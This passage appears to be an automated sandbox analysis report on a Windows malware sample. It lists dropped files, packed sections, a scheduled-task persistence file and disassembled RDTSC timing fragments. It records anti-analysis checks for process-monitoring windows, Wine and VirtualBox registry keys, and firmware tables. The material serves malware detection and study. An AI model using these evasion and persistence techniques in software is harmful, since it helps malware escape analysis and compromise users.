Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01121B4E push esi; retf	0_3_01121B4F
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01199644 push cs; retf	0_3_01199692
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01199644 push cs; retf	0_3_01199692
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01199644 push cs; retf	0_3_01199692
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01142D00 pushfd ; iretd	0_3_01142D05
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01142544 push esp; retf	0_3_01142549
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_0114AEA8 pushad ; iretd	0_3_0114AEA9
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_0114C1C7 push cs; iretd	0_3_0114C1C8
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01141CE6 push esp; iretd	0_3_01141CE9
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01141BE0 pushad ; ret	0_3_01141BE5
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_011107F6 push esi; retf	0_3_011107F7
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_0110EDEE push esi; retf	0_3_0110EDEF
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_0117B955 push cs; retf	0_3_0117BA41
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_0117B88C push esp; retf	0_3_0117B891
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01179DAF push eax; iretd	0_3_01179DB1
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_011797D5 push eax; ret	0_3_011799C1
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_011798FC push eax; ret	0_3_011799C1
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_0117A9FA push ecx; retf	0_3_0117AA20
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01199644 push cs; retf	0_3_01199692
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01199644 push cs; retf	0_3_01199692
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Code function: 0_3_01199644 push cs; retf	0_3_01199692

Source: V65xPrgEHH.exe	Static PE information: section name: entropy: 7.978985836318404
Source: V65xPrgEHH.exe	Static PE information: section name: slndhbsj entropy: 7.9549506229212055
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: section name: entropy: 7.787740249342965
Source: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.0.dr	Static PE information: section name: fphnutar entropy: 7.952955596210327
Source: random[1].exe.13.dr	Static PE information: section name: entropy: 7.98375518694653
Source: GIEHIDHJDB.exe.13.dr	Static PE information: section name: entropy: 7.98375518694653
Source: skotes.exe.24.dr	Static PE information: section name: entropy: 7.98375518694653

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

File created: C:\Users\user\Documents\GIEHIDHJDB.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\Users\user\Documents\GIEHIDHJDB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File created: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Jump to dropped file
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File created: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\GIEHIDHJDB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\V65xPrgEHH.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\Documents\GIEHIDHJDB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 751E24 second address: 751E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jbe 00007F4AB14441F6h 0x0000000c jl 00007F4AB14441F6h 0x00000012 popad 0x00000013 jmp 00007F4AB1444209h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 751E53 second address: 751E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 751E59 second address: 751E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4AB14441F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 751E65 second address: 751E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jp 00007F4AB0EAD87Eh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 751E76 second address: 751E9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4AB14441FCh 0x0000000a jns 00007F4AB14441F6h 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007F4AB1444204h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 751E9F second address: 751EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4AB0EAD876h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755B9D second address: 755BA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755BA1 second address: 755C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 jmp 00007F4AB0EAD888h 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F4AB0EAD889h 0x00000018 mov eax, dword ptr [eax] 0x0000001a jmp 00007F4AB0EAD888h 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jmp 00007F4AB0EAD87Dh 0x0000002b jng 00007F4AB0EAD876h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755C15 second address: 755C24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB14441FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755D64 second address: 755D7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jns 00007F4AB0EAD876h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755EAC second address: 755EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F4AB14441FCh 0x0000000c popad 0x0000000d push eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755EC6 second address: 755ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755ECA second address: 755EDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755EDA second address: 755EDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755EDF second address: 755F0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB14441FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007F4AB1444206h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755F0C second address: 755F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755F12 second address: 755F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F4AB14441F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755F25 second address: 755F56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD87Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jbe 00007F4AB0EAD876h 0x00000010 pop ecx 0x00000011 popad 0x00000012 pop eax 0x00000013 or dword ptr [ebp+122D1881h], eax 0x00000019 lea ebx, dword ptr [ebp+12451B00h] 0x0000001f movsx esi, cx 0x00000022 xchg eax, ebx 0x00000023 pushad 0x00000024 push edi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755F56 second address: 755F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 ja 00007F4AB14441F6h 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jnp 00007F4AB14441F6h 0x00000018 push edx 0x00000019 pop edx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 755F71 second address: 755F89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AB0EAD884h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 756020 second address: 756042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov cl, 69h 0x0000000b push 00000000h 0x0000000d push 4A33B5E8h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4AB14441FEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 76795F second address: 767963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 767963 second address: 767979 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444202h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7418C0 second address: 7418D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b jnp 00007F4AB0EAD876h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7749BD second address: 7749D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB1444207h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 7749D8 second address: 7749F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F4AB0EAD886h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 774B4C second address: 774B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edi 0x0000000b popad 0x0000000c pushad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 774B5C second address: 774B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 774B62 second address: 774B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4AB1444207h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 774B82 second address: 774B9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AB0EAD887h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 774B9D second address: 774BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4AB1444203h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 774BB8 second address: 774BBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\V65xPrgEHH.exe	RDTSC instruction interceptor: First address: 774BBC second address: 774BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
